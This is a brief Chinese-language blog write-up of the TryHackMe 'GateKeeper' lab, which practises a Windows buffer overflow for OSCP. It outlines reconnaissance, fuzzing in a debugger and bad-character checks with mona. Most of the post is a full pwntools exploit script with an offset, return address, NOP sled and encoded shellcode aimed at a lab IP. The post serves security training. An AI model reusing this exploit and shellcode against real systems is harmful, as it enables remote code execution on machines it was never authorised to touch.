TryHackMe GateKeeper writeup
其實這篇去年6/28寫的，想說從hackmd移到blogger
TryHackMe GateKeeper
這間主要練OSCP會出現的 windows bufferoverflow。提權部分就沒打了
情蒐
port scan 檢查服務
發現port 135,139,31337是開的。
port 31337 跑的就是我們要pwn的程式。
smbclient連過去挖一下，找到 gatekeeper.exe，把它載下來，移到windows平台測試
fuzzing：想辦法讓程式掛掉
將 gatekeeper.exe 丟進Immunity Debugger後，自己寫腳本fuzz。
finding badchars with mona
!mona ba
用pwntools送bytearray
最後 exploit
from pwn import *
RHOST = "10.10.101.108"
r = remote(RHOST,31337)
shellcode = (
b"\xbb\xc1\x54\x15\x16\xdb\xdb\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
b"\x52\x31\x5a\x12\x03\x5a\x12\x83\x2b\xa8\xf7\xe3\x57\xb9\x7a"
b"\x0b\xa7\x3a\x1b\x85\x42\x0b\x1b\xf1\x07\x3c\xab\x71\x45\xb1"
b"\x40\xd7\x7d\x42\x24\xf0\x72\xe3\x83\x26\xbd\xf4\xb8\x1b\xdc"
b"\x76\xc3\x4f\x3e\x46\x0c\x82\x3f\x8f\x71\x6f\x6d\x58\xfd\xc2"
b"\x81\xed\x4b\xdf\x2a\xbd\x5a\x67\xcf\x76\x5c\x46\x5e\x0c\x07"
b"\x48\x61\xc1\x33\xc1\x79\x06\x79\x9b\xf2\xfc\xf5\x1a\xd2\xcc"
b"\xf6\xb1\x1b\xe1\x04\xcb\x5c\xc6\xf6\xbe\x94\x34\x8a\xb8\x63"
b"\x46\x50\x4c\x77\xe0\x13\xf6\x53\x10\xf7\x61\x10\x1e\xbc\xe6"
b"\x7e\x03\x43\x2a\xf5\x3f\xc8\xcd\xd9\xc9\x8a\xe9\xfd\x92\x49"
b"\x93\xa4\x7e\x3f\xac\xb6\x20\xe0\x08\xbd\xcd\xf5\x20\x9c\x99"
b"\x3a\x09\x1e\x5a\x55\x1a\x6d\x68\xfa\xb0\xf9\xc0\x73\x1f\xfe"
b"\x27\xae\xe7\x90\xd9\x51\x18\xb9\x1d\x05\x48\xd1\xb4\x26\x03"
b"\x21\x38\xf3\x84\x71\x96\xac\x64\x21\x56\x1d\x0d\x2b\x59\x42"
b"\x2d\x54\xb3\xeb\xc4\xaf\x54\x1e\x0b\x88\x6e\x76\x29\xd6\x6b"
b"\xbe\xa4\x30\x19\xd0\xe0\xeb\xb6\x49\xa9\x67\x26\x95\x67\x02"
b"\x68\x1d\x84\xf3\x27\xd6\xe1\xe7\xd0\x16\xbc\x55\x76\x28\x6a"
b"\xf1\x14\xbb\xf1\x01\x52\xa0\xad\x56\x33\x16\xa4\x32\xa9\x01"
b"\x1e\x20\x30\xd7\x59\xe0\xef\x24\x67\xe9\x62\x10\x43\xf9\xba"
b"\x99\xcf\xad\x12\xcc\x99\x1b\xd5\xa6\x6b\xf5\x8f\x15\x22\x91"
b"\x56\x56\xf5\xe7\x56\xb3\x83\x07\xe6\x6a\xd2\x38\xc7\xfa\xd2"
b"\x41\x35\x9b\x1d\x98\xfd\xbb\xff\x08\x08\x54\xa6\xd9\xb1\x39"
b"\x59\x34\xf5\x47\xda\xbc\x86\xb3\xc2\xb5\x83\xf8\x44\x26\xfe"
b"\x91\x20\x48\xad\x92\x60"
)
offset = 146
adr = 0x080414c3
bad = b"\x00\x0a"
r.send(b'A'*146+ p32(adr) + b"\x90" * 30 + shellcode)
r.sendline(b'wefir')
留言
張貼留言